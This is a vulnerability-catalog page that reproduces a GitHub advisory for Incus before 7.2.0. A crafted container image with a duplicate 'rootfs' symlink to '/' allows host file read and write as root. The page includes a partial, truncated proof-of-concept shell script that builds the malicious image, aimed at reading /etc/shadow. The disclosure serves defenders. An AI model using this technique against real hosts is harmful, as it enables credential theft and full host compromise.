vulnerability / NVI-00017535 / Revision 1
Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image
GitHub lists this reviewed advisory for github.com/lxc/incus/v7/cmd/incusd. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
Published affected context helps an owner decide what evidence to gather. This report has not examined your application.
9.9 critical
GitHub source severity; exploitability and local consequence require separate evidence.
As of · GitHub Advisory Database
02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
github.com/lxc/incus/v7/cmd/incusd
source listed< 7.2.0
### Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it. ``` metadata.yaml rootfs/ rootfs -> / ``` In practice, this allows a malicious actor to access the host's filesystem with root privileges. ### PoC Below, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" cat"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC rootfs symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar # inject rootfs symlink rmdir rootfs ln -s
03 / Response
What to do next
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
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04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
05 / Provenance
Sources you can inspect
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- GHSA-2q3f-q5pq-g8wv ↗
GitHub Advisory Database · vendor advisory
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Public revision history
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- Revision 1 ·
First indexed by Null; source disclosure date is shown separately.